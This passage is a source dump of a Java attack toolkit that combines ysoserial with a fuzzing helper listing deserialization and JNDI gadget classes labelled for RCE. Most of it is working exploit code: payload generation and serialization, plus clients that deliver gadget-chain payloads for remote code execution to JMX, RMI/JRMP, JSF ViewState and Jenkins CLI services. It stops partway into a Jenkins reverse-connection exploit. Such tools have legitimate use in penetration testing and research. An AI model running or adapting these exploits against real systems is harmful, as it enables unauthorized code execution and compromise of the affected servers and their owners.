"(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)$"; 99 | if (text.matches(regex)) { 100 | return true; 101 | } else { 102 | return false; 103 | } 104 | } 105 | return false; 106 | } 107 | 108 | 109 | // public static String cheakpayload(String s) { 110 | // if(s!=null){ 111 | // return s; 112 | // }else { 113 | // System.out.println(); 114 | // } 115 | // 116 | // } 117 | } 118 | -------------------------------------------------------------------------------- /src/main/java/com/bloom/util/Fuzz.java: -------------------------------------------------------------------------------- 1 | package com.bloom.util; 2 | 3 | import java.lang.reflect.Field; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | public class Fuzz { 8 | 9 | /*fuzz 的refenceref类,接收到http请求,基本上可以利用成功*/ 10 | public String EL = "javax.el.ELProcessor"; 11 | public String BeanShell2 = "bsh.Interpreter"; 12 | public String h2Driver="org.h2.Driver"; 13 | public String groovyBytomcat="groovy.lang.GroovyClassLoader"; 14 | public String tomcat_dbcp2_RCE="org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory"; 15 | public String tomcat_dbcp1_RCE="org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory"; 16 | public String commons_dbcp2_RCE="org.apache.commons.dbcp2.BasicDataSourceFactory"; 17 | public String commons_dbcp1_RCE="org.apache.commons.dbcp.BasicDataSourceFactory"; 18 | public String druidjdbc="com.alibaba.druid.pool.DruidDataSourceFactory"; 19 | public String tomcatjdbc="org.apache.tomcat.jdbc.pool.DataSourceFactory"; 20 | public String snakeyaml="org.yaml.snakeyaml.Yaml"; 21 | public String XStream="com.thoughtworks.xstream.XStream"; 22 | public String mvel="org.mvel2.sh.ShellSession"; 23 | /*fuzz 反序列化类,接收到http请求,存在利用不成功的问题,版本或者其他依赖不满足条件*/ 24 | public String CommonsBeanutils1 = "org.apache.commons.beanutils.BeanComparator"; 25 | public String CommonsCollectionsK1="org.apache.commons.collections.map.LazyMap"; 26 | public String CommonsCollectionsK2="org.apache.commons.collections4.map.LazyMap"; 27 | public String Clojure="clojure.lang.PersistentArrayMap"; 28 | public String Groovy="org.codehaus.groovy.runtime.ConvertedClosure"; 29 | public String C3P0="com.mchange.v2.c3p0.PoolBackedDataSource"; 30 | public String JSON1="net.sf.json.JSONObject"; 31 | public String FileUpload1="org.apache.commons.fileupload.disk.DiskFileItem"; 32 | public String hibernate="org.hibernate.engine.spi.TypedValue"; 33 | public String MozillaRhino1="org.mozilla.javascript.MemberBox"; 34 | public String Rome="com.sun.syndication.feed.impl.ObjectBean"; 35 | 36 | public static final Map Fuzzmap=new HashMap(){ 37 | { 38 | put("EL","javax.el.ELProcessor"); 39 | put("BeanShell2","bsh.Interpreter"); 40 | put("groovyBytomcat","groovy.lang.GroovyClassLoader"); 41 | put("h2Driver","org.h2.Driver"); 42 | put("tomcat_dbcp2_RCE","org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory"); 43 | put("tomcat_dbcp1_RCE","org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory"); 44 | put("commons_dbcp2_RCE","org.apache.commons.dbcp2.BasicDataSourceFactory"); 45 | put("commons_dbcp1_RCE","org.apache.commons.dbcp.BasicDataSourceFactory"); 46 | put("druidjdbc","com.alibaba.druid.pool.DruidDataSourceFactory"); 47 | put("tomcatjdbc","org.apache.tomcat.jdbc.pool.DataSourceFactory"); 48 | put("snakeyaml","org.yaml.snakeyaml.Yaml"); 49 | put("XStream","com.thoughtworks.xstream.XStream"); 50 | put("mvel","org.mvel2.sh.ShellSession"); 51 | put("CommonsBeanutils1","org.apache.commons.beanutils.BeanComparator"); 52 | put("CommonsCollectionsK1","org.apache.commons.collections.map.LazyMap"); 53 | put("CommonsCollectionsK2","org.apache.commons.collections4.map.LazyMap"); 54 | put("Clojure","clojure.lang.PersistentArrayMap"); 55 | put("Groovy","org.codehaus.groovy.runtime.ConvertedClosure"); 56 | put("C3P0","com.mchange.v2.c3p0.PoolBackedDataSource"); 57 | put("JSON1","net.sf.json.JSONObject"); 58 | put("FileUpload1","org.apache.commons.fileupload.disk.DiskFileItem"); 59 | put("hibernate","org.hibernate.engine.spi.TypedValue"); 60 | put("MozillaRhino1","org.mozilla.javascript.MemberBox"); 61 | put("rome","com.sun.syndication.feed.impl.ObjectBean"); 62 | } 63 | }; 64 | 65 | 66 | public static void main(String[] args) throws InstantiationException, IllegalAccessException { 67 | // Field[] fields = Fuzz.class.getFields(); 68 | // Object Fuzz=Fuzz.class.newInstance(); 69 | // Map map=new HashMap<>(); 70 | // for (Field x:fields) { 71 | // map.put(x.getName(), (String) x.get(Fuzz));//class中声明的常量传入map 72 | // System.out.println("(\""+x.getName()+ "\",\"" +(String) x.get(Fuzz)+"\")"); 73 | // } 74 | 75 | Field[] fields = Fuzz.class.getFields(); 76 | Object Fuzz=Fuzz.class.newInstance(); 77 | Map map=new HashMap<>(); 78 | for (Field x:fields) { 79 | System.out.println(x.get(Fuzz)); 80 | } 81 | // System.out.println(Fuzz.map); 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /src/main/java/com/bloom/util/JavassistClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.bloom.util; 2 | 3 | public class JavassistClassLoader extends ClassLoader { 4 | public JavassistClassLoader(){ 5 | super(Thread.currentThread().getContextClassLoader()); 6 | } 7 | } -------------------------------------------------------------------------------- /src/main/java/com/bloom/util/Util.java: -------------------------------------------------------------------------------- 1 | package com.bloom.util; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | import java.io.ObjectOutputStream; 7 | import java.lang.reflect.Method; 8 | import java.util.Random; 9 | 10 | public class Util { 11 | public static String getRandomString() { 12 | String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 13 | StringBuilder sb = new StringBuilder(); 14 | for (int i = 0; i < 10; i++) { 15 | char ch = str.charAt(new Random().nextInt(str.length())); 16 | sb.append(ch); 17 | } 18 | return sb.toString(); 19 | } 20 | 21 | public static String getClassCode(Class clazz) throws Exception { 22 | byte[] bytes = getClassBytes(clazz); 23 | String result = Util.base64Encode(bytes); 24 | 25 | return result; 26 | } 27 | 28 | public static byte[] getClassBytes(Class clazz) throws Exception { 29 | String className = clazz.getName(); 30 | String resoucePath = className.replaceAll("\\.", "/") + ".class"; 31 | InputStream in = Util.class.getProtectionDomain().getClassLoader().getResourceAsStream(resoucePath); 32 | byte[] bytes = new byte[1024]; 33 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 34 | int len = 0; 35 | while((len = in.read(bytes)) != -1){ 36 | baous.write(bytes, 0 , len); 37 | } 38 | 39 | in.close(); 40 | baous.close(); 41 | 42 | return baous.toByteArray(); 43 | } 44 | 45 | public static String base64Encode(byte[] bytes) throws Exception{ 46 | String result; 47 | 48 | try{ 49 | Class clazz = Class.forName("java.util.Base64"); 50 | Method method = clazz.getDeclaredMethod("getEncoder"); 51 | Object obj = method.invoke(null); 52 | method = obj.getClass().getDeclaredMethod("encodeToString", byte[].class); 53 | obj = method.invoke(obj, bytes); 54 | result = (String)obj; 55 | }catch(ClassNotFoundException e){ 56 | Class clazz = Class.forName("sun.misc.BASE64Encoder"); 57 | Method method = clazz.getMethod("encodeBuffer", byte[].class); 58 | Object obj = method.invoke(clazz.newInstance(), bytes); 59 | result = (String)obj; 60 | result = result.replaceAll("\r|\n|\r\n", ""); 61 | } 62 | 63 | return result; 64 | } 65 | 66 | public static byte[] base64Decode(String str) throws Exception{ 67 | byte[] bytes; 68 | 69 | try{ 70 | Class clazz = Class.forName("java.util.Base64"); 71 | Method method = clazz.getDeclaredMethod("getDecoder"); 72 | Object obj = method.invoke(null); 73 | method = obj.getClass().getDeclaredMethod("decode", String.class); 74 | obj = method.invoke(obj, str); 75 | bytes = (byte[]) obj; 76 | }catch(ClassNotFoundException e){ 77 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 78 | Method method = clazz.getMethod("decodeBuffer", String.class); 79 | Object obj = method.invoke(clazz.newInstance(), str); 80 | bytes = (byte[]) obj; 81 | } 82 | 83 | return bytes; 84 | } 85 | 86 | public static byte[] serialize(Object ref) throws IOException { 87 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 88 | ObjectOutputStream objOut = new ObjectOutputStream(out); 89 | objOut.writeObject(ref); 90 | return out.toByteArray(); 91 | } 92 | 93 | public static String getCmdFromBase(String base) throws Exception { 94 | int firstIndex = base.lastIndexOf("/"); 95 | String cmd = base.substring(firstIndex + 1); 96 | 97 | int secondIndex = base.lastIndexOf("/", firstIndex - 1); 98 | if(secondIndex < 0){ 99 | secondIndex = 0; 100 | } 101 | 102 | if(base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")){ 103 | byte[] bytes = Util.base64Decode(cmd); 104 | cmd = new String(bytes); 105 | } 106 | 107 | return cmd; 108 | } 109 | 110 | public static String[] getIPAndPortFromBase(String base) throws NumberFormatException{ 111 | int firstIndex = base.lastIndexOf("/"); 112 | String port = base.substring(firstIndex + 1); 113 | 114 | int secondIndex = base.lastIndexOf("/", firstIndex - 1); 115 | if(secondIndex < 0){ 116 | secondIndex = 0; 117 | } 118 | 119 | String ip = base.substring(secondIndex + 1, firstIndex); 120 | return new String[]{ip, Integer.parseInt(port) + ""}; 121 | } 122 | } -------------------------------------------------------------------------------- /src/main/java/ysoserial/Deserializer.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.File; 5 | import java.io.FileInputStream; 6 | import java.io.IOException; 7 | import java.io.InputStream; 8 | import java.io.ObjectInputStream; 9 | import java.util.concurrent.Callable; 10 | 11 | public class Deserializer implements Callable { 12 | private final byte[] bytes; 13 | 14 | public Deserializer(byte[] bytes) { this.bytes = bytes; } 15 | 16 | public Object call() throws Exception { 17 | return deserialize(bytes); 18 | } 19 | 20 | public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { 21 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized); 22 | return deserialize(in); 23 | } 24 | 25 | public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { 26 | final ObjectInputStream objIn = new ObjectInputStream(in); 27 | return objIn.readObject(); 28 | } 29 | 30 | public static void main(String[] args) throws ClassNotFoundException, IOException { 31 | final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); 32 | Object object = deserialize(in); 33 | } 34 | } -------------------------------------------------------------------------------- /src/main/java/ysoserial/GeneratePayload.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.io.PrintStream; 4 | import java.util.*; 5 | 6 | import ysoserial.payloads.ObjectPayload; 7 | import ysoserial.payloads.ObjectPayload.Utils; 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | 11 | @SuppressWarnings("rawtypes") 12 | public class GeneratePayload { 13 | private static final int INTERNAL_ERROR_CODE = 70; 14 | private static final int USAGE_CODE = 64; 15 | 16 | public static void main(final String[] args) { 17 | if (args.length != 2) { 18 | printUsage(); 19 | System.exit(USAGE_CODE); 20 | } 21 | final String payloadType = args[0]; 22 | final String command = args[1]; 23 | 24 | final Class payloadClass = Utils.getPayloadClass(payloadType); 25 | if (payloadClass == null) { 26 | System.err.println("Invalid payload type '" + payloadType + "'"); 27 | printUsage(); 28 | System.exit(USAGE_CODE); 29 | return; // make null analysis happy 30 | } 31 | 32 | try { 33 | final ObjectPayload payload = payloadClass.newInstance(); 34 | final Object object = payload.getObject(command); 35 | PrintStream out = System.out; 36 | Serializer.serialize(object, out); 37 | ObjectPayload.Utils.releasePayload(payload, object); 38 | } catch (Throwable e) { 39 | System.err.println("Error while generating or serializing payload"); 40 | e.printStackTrace(); 41 | System.exit(INTERNAL_ERROR_CODE); 42 | } 43 | System.exit(0); 44 | } 45 | 46 | private static void printUsage() { 47 | System.err.println("Y SO SERIAL?"); 48 | System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'"); 49 | System.err.println(" Available payload types:"); 50 | 51 | final List> payloadClasses = 52 | new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); 53 | Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize 54 | 55 | final List rows = new LinkedList(); 56 | rows.add(new String[] {"Payload", "Authors", "Dependencies"}); 57 | rows.add(new String[] {"-------", "-------", "------------"}); 58 | for (Class payloadClass : payloadClasses) { 59 | rows.add(new String[] { 60 | payloadClass.getSimpleName(), 61 | Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), 62 | Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "") 63 | }); 64 | } 65 | 66 | final List lines = Strings.formatTable(rows); 67 | 68 | for (String line : lines) { 69 | System.err.println(" " + line); 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/Serializer.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.ObjectOutputStream; 6 | import java.io.OutputStream; 7 | import java.util.concurrent.Callable; 8 | 9 | public class Serializer implements Callable { 10 | private final Object object; 11 | public Serializer(Object object) { 12 | this.object = object; 13 | } 14 | 15 | public byte[] call() throws Exception { 16 | return serialize(object); 17 | } 18 | 19 | public static byte[] serialize(final Object obj) throws IOException { 20 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 21 | serialize(obj, out); 22 | return out.toByteArray(); 23 | } 24 | 25 | public static void serialize(final Object obj, final OutputStream out) throws IOException { 26 | if (obj instanceof byte[]) { 27 | // to be compatible with JDK8u20 28 | byte[] bytescodes = (byte[])obj; 29 | if (bytescodes.length > 2 && bytescodes[0] == (byte)0xac && bytescodes[1] == (byte)0xed) { 30 | out.write(bytescodes); 31 | return; 32 | } 33 | } 34 | final ObjectOutputStream objOut = new ObjectOutputStream(out); 35 | objOut.writeObject(obj); 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/Strings.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import org.apache.commons.lang.StringUtils; 4 | 5 | import java.util.Arrays; 6 | import java.util.Comparator; 7 | import java.util.LinkedList; 8 | import java.util.List; 9 | 10 | public class Strings { 11 | public static String join(Iterable strings, String sep, String prefix, String suffix) { 12 | final StringBuilder sb = new StringBuilder(); 13 | boolean first = true; 14 | for (String s : strings) { 15 | if (! first) sb.append(sep); 16 | if (prefix != null) sb.append(prefix); 17 | sb.append(s); 18 | if (suffix != null) sb.append(suffix); 19 | first = false; 20 | } 21 | return sb.toString(); 22 | } 23 | 24 | public static String repeat(String str, int num) { 25 | final String[] strs = new String[num]; 26 | Arrays.fill(strs, str); 27 | return join(Arrays.asList(strs), "", "", ""); 28 | } 29 | 30 | public static List formatTable(List rows) { 31 | final Integer[] maxLengths = new Integer[rows.get(0).length]; 32 | for (String[] row : rows) { 33 | if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns"); 34 | for (int i = 0; i < maxLengths.length; i++) { 35 | if (maxLengths[i] == null || maxLengths[i] < row[i].length()) { 36 | maxLengths[i] = row[i].length(); 37 | } 38 | } 39 | } 40 | 41 | final List lines = new LinkedList(); 42 | for (String[] row : rows) { 43 | for (int i = 0; i < maxLengths.length; i++) { 44 | final String pad = repeat(" ", maxLengths[i] - row[i].length()); 45 | row[i] = row[i] + pad; 46 | } 47 | lines.add(join(Arrays.asList(row), " ", "", "")); 48 | } 49 | return lines; 50 | } 51 | 52 | public static class ToStringComparator implements Comparator { 53 | public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JMXInvokeMBean.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | import javax.management.MBeanServerConnection; 4 | import javax.management.ObjectName; 5 | import javax.management.remote.JMXConnector; 6 | import javax.management.remote.JMXConnectorFactory; 7 | import javax.management.remote.JMXServiceURL; 8 | 9 | import ysoserial.payloads.ObjectPayload.Utils; 10 | 11 | /* 12 | * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. 13 | * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. 14 | * 15 | */ 16 | public class JMXInvokeMBean { 17 | 18 | public static void main(String[] args) throws Exception { 19 | 20 | if ( args.length < 4 ) { 21 | System.err.println(JMXInvokeMBean.class.getName() + " "); 22 | System.exit(-1); 23 | } 24 | 25 | JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); 26 | 27 | JMXConnector jmxConnector = JMXConnectorFactory.connect(url); 28 | MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); 29 | 30 | // create the payload 31 | Object payloadObject = Utils.makePayloadObject(args[2], args[3]); 32 | ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); 33 | 34 | mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); 35 | 36 | //close the connection 37 | jmxConnector.close(); 38 | } 39 | } -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | 4 | 5 | import java.net.URL; 6 | 7 | 8 | /** 9 | * JRMP listener triggering RMI remote classloading 10 | * 11 | * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. 12 | * 13 | * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need 14 | * access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}. 15 | * 16 | * This only works if 17 | * - the remote end is running with a security manager 18 | * - java.rmi.server.useCodebaseOnly=false (default until 7u21) 19 | * - the remote has the proper permissions to remotely load the class (mostly URLPermission) 20 | * 21 | * and, of course, the payload class is then run under the security manager with a remote codebase 22 | * so either the policy needs to allow whatever you want to do in the payload or you need to combine 23 | * with a security manager bypass exploit (wouldn't be the first time). 24 | * 25 | * @author mbechler 26 | * 27 | */ 28 | public class JRMPClassLoadingListener { 29 | 30 | public static final void main ( final String[] args ) { 31 | 32 | if ( args.length < 3 ) { 33 | System.err.println(JRMPClassLoadingListener.class.getName() + " "); 34 | System.exit(-1); 35 | return; 36 | } 37 | 38 | try { 39 | int port = Integer.parseInt(args[ 0 ]); 40 | System.err.println("* Opening JRMP listener on " + port); 41 | JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); 42 | c.run(); 43 | } 44 | catch ( Exception e ) { 45 | System.err.println("Listener error"); 46 | e.printStackTrace(System.err); 47 | } 48 | } 49 | 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JRMPClient.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | 4 | import java.io.DataOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectOutputStream; 7 | import java.io.OutputStream; 8 | import java.net.InetSocketAddress; 9 | import java.net.Socket; 10 | import java.net.SocketException; 11 | import java.net.URL; 12 | import java.net.URLClassLoader; 13 | import java.net.UnknownHostException; 14 | 15 | import javax.net.SocketFactory; 16 | 17 | import sun.rmi.transport.TransportConstants; 18 | import ysoserial.payloads.ObjectPayload.Utils; 19 | 20 | 21 | /** 22 | * Generic JRMP client 23 | * 24 | * Pretty much the same thing as {@link RMIRegistryExploit} but 25 | * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) 26 | * - not deserializing anything (so you don't get yourself exploited ;)) 27 | * 28 | * @author mbechler 29 | * 30 | */ 31 | @SuppressWarnings ( { 32 | "restriction" 33 | } ) 34 | public class JRMPClient { 35 | 36 | public static final void main ( final String[] args ) { 37 | if ( args.length < 4 ) { 38 | System.err.println(JRMPClient.class.getName() + " "); 39 | System.exit(-1); 40 | } 41 | 42 | Object payloadObject = Utils.makePayloadObject(args[2], args[3]); 43 | String hostname = args[ 0 ]; 44 | int port = Integer.parseInt(args[ 1 ]); 45 | try { 46 | System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); 47 | makeDGCCall(hostname, port, payloadObject); 48 | } 49 | catch ( Exception e ) { 50 | e.printStackTrace(System.err); 51 | } 52 | Utils.releasePayload(args[2], payloadObject); 53 | } 54 | 55 | public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { 56 | InetSocketAddress isa = new InetSocketAddress(hostname, port); 57 | Socket s = null; 58 | DataOutputStream dos = null; 59 | try { 60 | s = SocketFactory.getDefault().createSocket(hostname, port); 61 | s.setKeepAlive(true); 62 | s.setTcpNoDelay(true); 63 | 64 | OutputStream os = s.getOutputStream(); 65 | dos = new DataOutputStream(os); 66 | 67 | dos.writeInt(TransportConstants.Magic); 68 | dos.writeShort(TransportConstants.Version); 69 | dos.writeByte(TransportConstants.SingleOpProtocol); 70 | 71 | dos.write(TransportConstants.Call); 72 | 73 | @SuppressWarnings ( "resource" ) 74 | final ObjectOutputStream objOut = new MarshalOutputStream(dos); 75 | 76 | objOut.writeLong(2); // DGC 77 | objOut.writeInt(0); 78 | objOut.writeLong(0); 79 | objOut.writeShort(0); 80 | 81 | objOut.writeInt(1); // dirty 82 | objOut.writeLong(-669196253586618813L); 83 | 84 | objOut.writeObject(payloadObject); 85 | 86 | os.flush(); 87 | } 88 | finally { 89 | if ( dos != null ) { 90 | dos.close(); 91 | } 92 | if ( s != null ) { 93 | s.close(); 94 | } 95 | } 96 | } 97 | 98 | static final class MarshalOutputStream extends ObjectOutputStream { 99 | 100 | 101 | private URL sendUrl; 102 | 103 | public MarshalOutputStream (OutputStream out, URL u) throws IOException { 104 | super(out); 105 | this.sendUrl = u; 106 | } 107 | 108 | MarshalOutputStream ( OutputStream out ) throws IOException { 109 | super(out); 110 | } 111 | 112 | @Override 113 | protected void annotateClass ( Class cl ) throws IOException { 114 | if ( this.sendUrl != null ) { 115 | writeObject(this.sendUrl.toString()); 116 | } else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { 117 | writeObject(null); 118 | } 119 | else { 120 | URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); 121 | String cb = ""; 122 | 123 | for ( URL u : us ) { 124 | cb += u.toString(); 125 | } 126 | writeObject(cb); 127 | } 128 | } 129 | 130 | 131 | /** 132 | * Serializes a location from which to load the specified class. 133 | */ 134 | @Override 135 | protected void annotateProxyClass ( Class cl ) throws IOException { 136 | annotateClass(cl); 137 | } 138 | } 139 | 140 | 141 | } 142 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JSF.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.ObjectOutputStream; 6 | import java.io.OutputStream; 7 | import java.net.HttpURLConnection; 8 | import java.net.URL; 9 | import java.net.URLConnection; 10 | import java.net.URLEncoder; 11 | 12 | import org.apache.commons.codec.binary.Base64; 13 | 14 | import ysoserial.payloads.ObjectPayload.Utils; 15 | 16 | 17 | /** 18 | * JSF view state exploit 19 | * 20 | * Delivers a gadget payload via JSF ViewState token. 21 | * 22 | * This will only work if ViewState encryption/mac is disabled. 23 | * 24 | * While it has been long known that client side state saving 25 | * with encryption disabled leads to RCE via EL injection, 26 | * this of course also works with deserialization gadgets. 27 | * 28 | * Also, it turns out that MyFaces is vulnerable to this even when 29 | * using server-side state saving 30 | * (yes, please, let's (de-)serialize a String as an Object). 31 | * 32 | * @author mbechler 33 | * 34 | */ 35 | public class JSF { 36 | 37 | public static void main ( String[] args ) { 38 | 39 | if ( args.length < 3 ) { 40 | System.err.println(JSF.class.getName() + " "); 41 | System.exit(-1); 42 | } 43 | 44 | final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); 45 | 46 | try { 47 | URL u = new URL(args[ 0 ]); 48 | 49 | URLConnection c = u.openConnection(); 50 | if ( ! ( c instanceof HttpURLConnection ) ) { 51 | throw new IllegalArgumentException("Not a HTTP url"); 52 | } 53 | 54 | HttpURLConnection hc = (HttpURLConnection) c; 55 | hc.setDoOutput(true); 56 | hc.setRequestMethod("POST"); 57 | hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 58 | OutputStream os = hc.getOutputStream(); 59 | 60 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 61 | ObjectOutputStream oos = new ObjectOutputStream(bos); 62 | oos.writeObject(payloadObject); 63 | oos.close(); 64 | byte[] data = bos.toByteArray(); 65 | String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); 66 | os.write(requestBody.getBytes("US-ASCII")); 67 | os.close(); 68 | 69 | System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); 70 | } 71 | catch ( Exception e ) { 72 | e.printStackTrace(System.err); 73 | } 74 | Utils.releasePayload(args[1], payloadObject); 75 | 76 | } 77 | 78 | 79 | 80 | } 81 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JenkinsCLI.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | import java.io.DataOutputStream; 4 | import java.io.IOException; 5 | import java.io.OutputStream; 6 | import java.lang.reflect.Constructor; 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.lang.reflect.Method; 9 | import java.net.HttpURLConnection; 10 | import java.net.InetSocketAddress; 11 | import java.net.MalformedURLException; 12 | import java.net.Socket; 13 | import java.net.SocketException; 14 | import java.net.URL; 15 | import java.net.URLConnection; 16 | import java.util.concurrent.ExecutorService; 17 | import java.util.concurrent.Executors; 18 | import java.util.concurrent.ThreadFactory; 19 | 20 | import javax.net.SocketFactory; 21 | 22 | import hudson.remoting.Callable; 23 | import hudson.remoting.Channel; 24 | import hudson.remoting.Channel.Mode; 25 | import hudson.remoting.ChannelBuilder; 26 | import ysoserial.payloads.ObjectPayload.Utils; 27 | import ysoserial.payloads.util.Reflections; 28 | 29 | /** 30 | * Jenkins CLI client 31 | * 32 | * Jenkins unfortunately is still using a custom serialization based 33 | * protocol for remote communications only protected by a blacklisting 34 | * application level filter. 35 | * 36 | * This is a generic client delivering a gadget chain payload via that protocol. 37 | * 38 | * @author mbechler 39 | * 40 | */ 41 | public class JenkinsCLI { 42 | public static final void main ( final String[] args ) { 43 | if ( args.length < 3 ) { 44 | System.err.println(JenkinsCLI.class.getName() + " "); 45 | System.exit(-1); 46 | } 47 | 48 | final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); 49 | 50 | String jenkinsUrl = args[ 0 ]; 51 | Channel c = null; 52 | try { 53 | InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); 54 | c = JenkinsCLI.openChannel(isa); 55 | c.call(getPropertyCallable(payloadObject)); 56 | } 57 | catch ( Throwable e ) { 58 | e.printStackTrace(); 59 | } 60 | finally { 61 | if ( c != null ) { 62 | try { 63 | c.close(); 64 | } 65 | catch ( IOException e ) { 66 | e.printStackTrace(System.err); 67 | } 68 | } 69 | } 70 | Utils.releasePayload(args[1], payloadObject); 71 | } 72 | 73 | public static Callable getPropertyCallable ( final Object prop ) 74 | throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 75 | Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); 76 | Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); 77 | Reflections.setAccessible(reqCons); 78 | Object getJarLoader = reqCons 79 | .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { 80 | prop 81 | }); 82 | return (Callable) getJarLoader; 83 | } 84 | 85 | public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException { 86 | URL u = new URL(jenkinsUrl); 87 | 88 | URLConnection conn = u.openConnection(); 89 | if ( ! ( conn instanceof HttpURLConnection ) ) { 90 | System.err.println("Not a HTTP URL"); 91 | throw new MalformedURLException(); 92 | } 93 | 94 | HttpURLConnection hc = (HttpURLConnection) conn; 95 | if ( hc.getResponseCode() >= 400 ) { 96 | System.err.println("* Error connection to jenkins HTTP " + u); 97 | } 98 | int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); 99 | 100 | return new InetSocketAddress(u.getHost(), clip); 101 | } 102 | 103 | public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException { 104 | System.err.println("* Opening socket " + isa); 105 | Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); 106 | s.setKeepAlive(true); 107 | s.setTcpNoDelay(true); 108 | 109 | System.err.println("* Opening channel"); 110 | OutputStream outputStream = s.getOutputStream(); 111 | DataOutputStream dos = new DataOutputStream(outputStream); 112 | dos.writeUTF("Protocol:CLI-connect"); 113 | ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { 114 | 115 | public Thread newThread ( Runnable r ) { 116 | Thread t = new Thread(r, "Channel"); 117 | t.setDaemon(true); 118 | return t; 119 | } 120 | }); 121 | Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); 122 | System.err.println("* Channel open"); 123 | return c; 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JenkinsReverse.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | 4 | import java.io.IOException; 5 | import java.net.InetSocketAddress; 6 | import java.rmi.registry.Registry; 7 | import java.util.Random; 8 | 9 | import hudson.remoting.Channel; 10 | import ysoserial.exploit.JRMPListener; 11 | import ysoserial.payloads.JRMPClient; 